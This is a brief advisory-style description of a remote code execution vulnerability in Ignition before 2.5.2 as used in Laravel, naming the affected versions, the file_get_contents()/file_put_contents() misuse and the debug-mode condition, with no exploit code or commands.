          Ignition before 2.5.2, as used in Laravel and other products,
          allows unauthenticated remote attackers to execute arbitrary code
          because of insecure usage of file_get_contents() and file_put_contents().
          This is exploitable on sites using debug mode with Laravel before 8.4.2.
